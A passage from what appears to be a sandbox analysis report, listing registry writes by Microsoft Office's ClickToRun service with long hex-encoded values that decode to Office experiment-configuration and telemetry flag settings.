2696e677c4e4f4e4652444322207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5365676d656e746174696f6e2e56657273696f6e506172746974696f6e222c20225622203a20227374643a3a77737472696e677c57696e3332416e64726f6964486f7422207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5365676d656e746174696f6e2e576f7264436f70696c6f74446f67666f6f64222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e416c6c6f775a65726f4c656e677468536561726368537472696e67222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e4175746f436f727265637455492e41637469766974696573222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e4175746f446973636f7665722e4275674669786573466f7252657472794661696c65645265717565737473222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e4175746f446973636f7665722e4c696d6974546f4f6e654175746f446973636f766572222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e4175746f446973636f7665722e4f6e6c795573654874747073222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e426f6f7449646c655468726f74746c6572222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e4275674669782e506572736f6e61436f6e74726f6c4261636b67726f756e64436f6c6f72222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e4368616e6765476174652e44656c617943757272656e745549416374697665506c616365557064617465222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e4372634261736564556964222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
| Set value (data) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\officeclicktorun\ConfigContextData\0.6 = 205c224576656e74466c61675c22203a20353132207d2c205c22436f6175746847616c6c657279557365724a756d70546f417574686f725c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c22436f6175746847616c6c657279557365724f70656e53696e676c65466c796f75745c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c22456d61696c416374696f6e487562416374696f6e53656e64456d61696c5c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c224f666669636543686174436f6d6d616e6453657456616c75655c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c224d736f494d5365727669636573536642506861736531496d70726f76656d656e7473456e61626c65645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224368617443616c6c6f757455736572496e697455495c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224d736f494d5365727669636573497357616343686174456e61626c65645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224d736f494d536572766963657353664257616343686174456e61626c65645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224d736f494d536572766963657353664357616343686174456e61626c65645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22446f63756d656e744368617455494d6f64656c4f6e55494576656e745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224368617443616c6c6f7574557365724f6e5061727469636970616e744c6973744368616e6765645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22436f6175746847616c6c65727955736572437265617465416374696f6e4875624c69737446726f6d536e617073686f745c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c22436f6175746847616c6c65727955736572437265617465466c65784c69737446726f6d536e617073686f745c22203a207b205c224576656e74466c61675c22203a20323536207d207d207d2c205c22436f6c6c61625c22203a207b205c225375624e616d657370616365735c22203a207b205c22436f617574686f725c22203a207b205c225375624e616d657370616365735c22203a207b205c22436f617574686f72446f63756d656e7448656c7065725c22203a207b205c224576656e74735c22203a207b205c22547269676765725265747269657665446f63756d656e74436f617574686f72735c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c225265747269657665456469746f72735461626c654d616e616765725c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c225265747269657665527463557365725c22203a207b205c224576656e74466c61675c22203a20353132207d207d207d207d207d207d207d2c205c2241744d656e74696f6e5c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c22446f63756d656e744163746976697479496e746567726174696f6e5c22203a207b205c224576656e74735c22203a207b205c224164645265636f7665726564416374697669746965735c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c2250726f6365737341744d656e74696f6e4e6f74696669636174696f6e734c6973745c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c22436f6d6d656e74734e6f74696669636174696f6e436f6c6c6563746f7252656d6f766564436f6d6d656e74735c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c2250726f63657373436f6d6d656e74734e6f74696669636174696f6e734c6973745c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c22536176654c6f67466f725265636f766572795c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c22437265617465446f63756d656e7441637469766974794c6f674d616e616765725c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c2244656c657465436f6d6d656e7441637469766974795c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c22446973636172644c6f63616c416374697669746965735c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c2244656c6574655265706c7941637469766974795c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c2243726561746541744d656e74696f6e41637469766974795c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c2244656c65746541744d656e74696f6e41637469766974795c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c2244656c6574654d6f6465726e436f6d6d656e7441637469766974795c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c224372656174654d6f6465726e41744d656e74696f6e41637469766974795c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c224f70656e4c6f6746726f6d5265636f766572795c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c2244656c6574654d6f6465726e5265706c7941637469766974795c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c225064616c6d446f63756d656e7441637469766974794c6f674d616e616765725c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c22456e73757265446f63756d656e744163746976697479436170747572655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22456e737572654c6f67507265526571735c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224d6574726f4f70656e5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2243726561746555736572496e666f466f72417574686f725c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22437265617465556e69717565417574686f72566563746f725c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2243726561746555736572496e666f46726f6d417574686f72566563746f725c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224973436c6f7564446f63756d656e745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c225365745361766564507265526571735c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224372656174655265766973696f6e53657441637469766974795c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22476574436f6d6d656e74436f6e74656e744964656e7469666965725c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224c6f67436f6d6d656e744174747269627574696f6e5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c225472794372656174654c6f675c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22536176654c6f675c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2253657453617665645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224162616e646f6e4c6f675c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224372656174655461736b41637469766974795c22203a207b205c224576656e74466c61675c22203a2032207d2c205c225461736b4372656174696f6e41637469766974795c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22526561737369676e5461736b41637469766974795c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2252656f70656e5461736b41637469766974795c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22436f6d706c6574655461736b41637469766974795c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c224465736b746f704261636b73746167655c22203a207b205c224576656e74735c22203a207b205c22536176654173526563656e74436c69636b65645c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c2253617665417344656661756c745365727669636553656c656374696f6e5c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c224f70656e526563656e74446f63756d656e747356696577436c69636b65645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224f70656e526563656e74446f63756d656e7473566965775769746846656174757265456e61626c6564436c69636b65645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22424743616c634d616e6167657250726f6365737353657456616c75657350726f635c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22424743616c6349646c655461736b46457865637574655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22506c6163657347726f757065724163636f756e74496e666f5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2247657474696e67537461727465644d5255536c61624765744d72754461746554696d6547726f7570547970655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224f70656e526563656e744c6f636174696f6e7356696577436c69636b65645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224e617669676174696f6e5265616453697465526f6f74427956726f6f6d5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224e617669676174696f6e52656164446f634c6962466f6c646572427956726f6f6d5c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c224f666669636553706163655c22203a207b205c225375624e616d657370616365735c22203a207b205c224465736b746f704261636b73746167654e617669676174696f6e5c22203a207b205c224576656e74735c22203a207b205c224c617a794c6f616446696c6543616368655c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c224c6f616446726f6d46696c6543616368655c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c2253617665496e746f46696c6543616368655c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c2252656164546869735043526f6f745c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c22526561644c6f63616c466f6c6465725c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c225265616453697465526f6f74427956726f6f6d5c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c224765744974656d57656244617655726c5c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c2247657452656d6f74654974656d496e666f726d6174696f6e5c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c2252656164446f634c6962466f6c646572427956726f6f6d5c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c22526561644d696772617465644f4443466f6c646572427956726f6f6d5c22203a207b205c224576656e74466c61675c22203a20323536207d207d207d207d207d2c205c22504358506572736f6e6150686f746f5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224f757453706163655c22203a207b205c224576656e74735c22203a207b205c22557064617465506c616365735c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224372656174655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22486964655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c225365744d72754c697374466f72486f6d65506167655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22436c65616e75705c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22536861726564576974684d65506f70756c6174654c6973745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c225570646174654d52554974656d735c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224f70656e4469736d6973735c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224e65774469736d6973735c22203a207b205c224576656e74466c61675c22203a2032207d207d2c205c225375624e616d657370616365735c22203a207b205c224465736b746f704261636b73746167655c22203a207b205c224576656e74735c22203a207b205c224261636b73746167654469736d69737365645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224175746f5265636f76657279436f6d7061726557697468556e736176656456657273696f6e5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224175746f5265636f7665727944656c657465556e736176656456657273696f6e5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224175746f5265636f766572794f70656e556e736176656456657273696f6e5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224175746f5265636f76657279506f70756c617465556e736176656456657273696f6e4c6973745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22496e69744e65774e6176466f6c6465725c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224e6577536572766963654c6973745c22203a207b205c224576656e74466c61675c22203a2032207d207d207d207d207d2c205c225368617265506f696e7453697465735c22203a207b205c224576656e74735c22203a207b205c2247726f75707353697465735265717565737449636f6e5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c225368617265506f696e745369746573496e697469616c697a655369746573436f6c6c656374696f6e5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c225368617265506f696e74536974657350726f63657373526573756c74466f724964656e746974795c22203a207b205c224576656e74466c61675c22203a2032207d2c205c225368617265506f696e7453697465734964656e74697479436163686552657175657374526573756c745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c225368617265506f696e7453697465735265717565737453697465734361636865645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c225368617265506f696e7453697465735265717565737453697465734173796e6350726f63657373526573756c745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c225368617265506f696e7453697465735265717565737453697465734173796e635c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c224372656174654c6f636174696f6e735c22203a207b205c224576656e74735c22203a207b205c2244656661756c744964656e74697479456d7074795c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c2253686172696e674c6567616379436c69656e745c22203a207b205c224576656e74735c22203a207b205c22476574446174615c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c22486f6d65506167655c22203a207b205c224576656e74735c22203a207b205c22506c6163654368616e6765536c6162436f6e646974696f6e5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224f6e53686f77486f6d65506167655c22203a207b205c224576656e74466c61675c22203a2032207d207d2c205c225375624e616d657370616365735c22203a207b205c225365617263685c22203a207b205c224576656e74735c22203a207b205c225365656e4279557365725c22203a207b205c224576656e74466c61675c22203a2032207d207d207d207d207d2c205c224f666669636553746172745c22203a207b205c224576656e74735c22203a207b205c22536574757054656d706c61746550726f706572746965735c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2243757272656e745549416374697665506c6163654368616e67655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22547269676765725468756d626e61696c416374696f6e52756e5c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c22446f63756d656e744e6f74696669636174696f6e735c22203a207b205c224576656e74735c22203a207b205c2252656769737465724f6e49646c65466561747572654761746544697361626c65645c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c224d7275536572766963654170695c22203a207b205c225375624e616d657370616365735c22203a207b205c22446f63756d656e74735c22203a207b205c224576656e74735c22203a207b205c2252656164526571756573745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c225772697465526571756573745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224f6e526571756573745375636365656465645c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c22506c616365735c22203a207b205c224576656e74735c22203a207b205c2252656164526571756573745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c225772697465526571756573745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224f6e526571756573745375636365656465645c22203a207b205c224576656e74466c61675c22203a2032207d207d207d207d207d2c205c224d736f53686172696e675c22203a207b205c224576656e74735c22203a207b205c22434d736f53686172696e675365727669636548656c706572456e64476574486f73744361706162696c69746965735c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22434d736f53686172696e675365727669636548656c706572476574486f73744361706162696c6974 | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\officeclicktorun\ConfigContextData\ChunkCount = "uint64_t|6" | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\officeclicktorun\ConfigContextData\ChunkCount = "uint64_t|11" | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\officeclicktorun\ConfigContextData\VersionId = "uint16_t|0" | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentEcs\Overrides | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\officeclicktorun\ConfigContextData | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
| Key deleted | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
| Set value (int) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1718319279" | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\officeclicktorun\ConfigContextData\ChunkCount = "uint64_t|1" | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\officeclicktorun\ConfigContextData\ChunkCount = "uint64_t|4" | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\officeclicktorun\ConfigContextData\ChunkCount = "uint64_t|5" | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
| Set value (data) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\officeclicktorun\ConfigContextData\0.12 = 3a2032207d2c205c2257726974655265736f757263654d657461446174615c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c22474449417373697374616e745c22203a207b205c224576656e74735c22203a207b205c225265676973746572436c6f7564466f6e7443616c6c6261636b5c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c2248616e646c6543616c6c6261636b5c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c22466f6e744d616e6167657244657374727563746f725c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22416464436c6f7564466f6e745265736f757263655c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c22466f6e74537562737469747574696f6e5c22203a207b205c224576656e74735c22203a207b205c22436f6c6c656374466f6e74537562737469747574696f6e55736167655c22203a207b205c224576656e74466c61675c22203a2032207d207d207d207d207d22207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e54656c656d6574727944796e616d6963436f6e6669672e5472616e736c61746f72222c20225622203a20227374643a3a77737472696e677c7b205c224576656e74735c22203a207b205c22416c7465726e6174655472616e736c6174696f6e735265747269657665645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22436f6e7465787475616c53756767657374696f6e734c6f616465645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22446f63756d656e745465787453656c65637465645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22446f63756d656e745472616e736c617465645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22446f63756d656e745472616e736c61746564466565646261636b547269676765725c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22446f63756d656e745472616e736c6174696f6e43616e63656c6c65645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22446f63756d656e745472616e736c6174696f6e53756767657374696f6e436c69636b65645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224578636c756465644c616e677561676541646465645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224578636c756465644c616e677561676552656d6f7665645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224d6963726f666565646261636b566f746553656c65637465645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224f6f786d6c5472616e736c617465645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2253657474696e6773436c6f7365645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2253657474696e67734f70656e65645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22536f75726365446f63756d656e744c616e674368616e6765645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22536f75726365546172676574537761707065645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22536f75726365546578744c616e674368616e6765645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22546172676574446f63756d656e744c616e674368616e6765645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22546172676574546578744c616e674368616e6765645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22546578745472616e736c617465645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c225472616e736c6174696f6e496e7365727465645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c225472616e736c6174696f6e4c616e6775616765734c6f616465645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c225472616e736c6174696f6e5461624368616e6765645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22416c7465726e6174655472616e736c6174696f6e4578616d706c655265747269657665645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22416c7465726e6174655472616e736c6174696f6e436f706965645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22416464496e4c6f616465645c22203a207b205c224576656e74466c61675c22203a2032207d207d207d22207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e54656c656d6574727944796e616d6963436f6e6669672e5558222c20225622203a20227374643a3a77737472696e677c7b205c224576656e74735c22203a207b205c22436f6c6f725069636b65725c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22436f6d696e67536f6f6e54435348574e445c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224e6f46696c65457874656e73696f6e49636f6e4d617070696e675c22203a207b205c224576656e74466c61675c22203a2032207d207d2c205c225375624e616d657370616365735c22203a207b205c225344585c22203a207b205c225375624e616d657370616365735c22203a207b205c224d65436f6e74726f6c5c22203a207b205c224576656e74735c22203a207b205c22547261636b65645363656e6172696f5c22203a207b205c224576656e74466c61675c22203a2032207d207d207d207d207d2c205c225465616368696e6743616c6c6f75745c22203a207b205c224576656e74735c22203a207b205c225465616368696e6743616c6c6f7574416c726561647953686f776e4d617854696d65735c22203a207b205c224576656e74466c61675c22203a2032207d2c205c225465616368696e6743616c6c6f7574416c726561647953686f776e5468697353657373696f6e5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c225465616368696e6743616c6c6f7574546f6f4d616e7953686f776e5468697353657373696f6e5c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c2244796e616d69634470695c22203a207b205c224576656e74735c22203a207b205c22446973706c6179546f706f6c6f6779456e756d65726174696f6e5c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c22446973706c6179546f706f6c6f67794368616e6765645c22203a207b205c224576656e74466c61675c22203a20323536207d207d207d2c205c22446f63756d656e745265636f766572795c22203a207b205c224576656e74735c22203a207b205c22496e76616c696461746550616e65735c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c22546f6f6c746970735c22203a207b205c224576656e74735c22203a207b205c2253686f77546f6f6c7469705c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c22416e63686f7252656769737472795c22203a207b205c224576656e74735c22203a207b205c224765744f72437265617465416e63686f7252656769737472795c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c22526962626f6e546162735c22203a207b205c224576656e74735c22203a207b205c22526962626f6e5461624163746976617465645f466c6f6f64676174655c22203a207b205c224576656e74466c61675c22203a2032207d207d207d207d207d22207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e54656c656d6574727944796e616d6963436f6e6669672e576f7264222c20225622203a20227374643a3a77737472696e677c7b205c225375624e616d657370616365735c22203a207b205c224544505c22203a207b205c224576656e74735c22203a207b205c22446f63756d656e744964656e746974794368616e67655c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c2250726f6f66696e675c22203a207b205c224576656e74735c22203a207b205c2250726f6f66696e674e6f50726f6f66526567696f6e5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c225453706c4c6f61644c6962726172795c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22436c6f75645370656c6c6572436865636b5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224e6f50726f6f6652756e4469666665727346726f6d5061726150726f705c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22436c617373696669636174696f6e4372697469717565526573706f6e7365506572664d61704578636565645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224772616d6d6172436865636b657243616c6c5c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c22536176655c22203a207b205c224576656e74735c22203a207b205c22436d64446f53617665446f63436f7265436f6d6d616e64416374696f6e5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22436d64446f53617665446f63436f7265416374696f6e5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22464d617953746172745472616e73616374696f6e5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224669726553746174654f664175746f536176654f6e436c6f73655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22456964456e737572654f70656e466f72536176655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2242475361766546616c6c6261636b546f46475c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c22576f72645c22203a207b205c225375624e616d657370616365735c22203a207b205c22426f6f745c22203a207b205c225375624e616d657370616365735c22203a207b205c2254696d696e675c22203a207b205c224576656e74735c22203a207b205c22446174615c22203a207b205c224576656e74466c61675c22203a2032207d207d207d207d207d207d207d2c205c22426f6f745c22203a207b205c224576656e74735c22203a207b205c22416464696e4d6f6e69746f7256616c6964617465426f6f745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22416464696e44697361626c65644469616c6f675c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22416464696e4d6f6e69746f7256616c6964617465426f6f74325c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c2246696c654f70656e5c22203a207b205c224576656e74735c22203a207b205c22464e4d45696453657446726f6d5873747a46747970466e6d4469725c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22496e697469616c697a6542696e6172794261636b696e6753746f72654361636865735c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c22576f72644d61696c5c22203a207b205c224576656e74735c22203a207b205c2248724c6f61645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224872536176655c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c22446f6354696c696e675c22203a207b205c224576656e74735c22203a207b205c2254696c696e6749646c6542756e646c654576656e745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2254696c696e6749646c655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2254696c696e6749646c654865617274626561745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2254696c696e6749646c654669726542756e646c65644576656e74735c22203a207b205c224576656e74466c61675c22203a2032207d2c205c225465787454696c65446f63756d656e7456696577476574456e756d657261746f724576656e745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c225465787454696c65446f63756d656e7456696577446973636f6e6e6563745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c225465787454696c65446f63756d656e745669657753696e6b52656769737465725c22203a207b205c224576656e74466c61675c22203a2032207d2c205c225465787454696c65446f63756d656e745669657753696e6b556e72656769737465725c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c22436f417574686f72696e675c22203a207b205c224576656e74735c22203a207b205c224f6373446f776e6c6f6164526566557064617465645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2244796e616d696353617665496e697469616c496e666f5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22507573684f70526571756573745374617475735c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22507573684f70436f6d706c657465645374617475735c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c2254687265655761794d657267655c22203a207b205c224576656e74735c22203a207b205c22435254435265766572745265706c61794b706f7353636f70654475726174696f6e5c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c2246696c65536176655c22203a207b205c224576656e74735c22203a207b205c22436d645361766546696c65436f7265325c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c2255494d5c22203a207b205c224576656e74735c22203a207b205c224655494d426567696e556e646f4265666f726546426567696e556e646f5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224655494d426567696e556e646f416674657246426567696e556e646f5c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c224163636573736962696c6974795c22203a207b205c224576656e74735c22203a207b205c22416363436865636b657256696f6c6174696f6e547970655c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c2247726170686963735c22203a207b205c224576656e74735c22203a207b205c2245326f496e666f466f72446f63756d656e74436f6e7461696e696e674475706c696361746541727469645c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c22446961676e6f737469635c22203a207b205c224576656e74735c22203a207b205c22496e636f73697374656e74526561644f6e6c79446f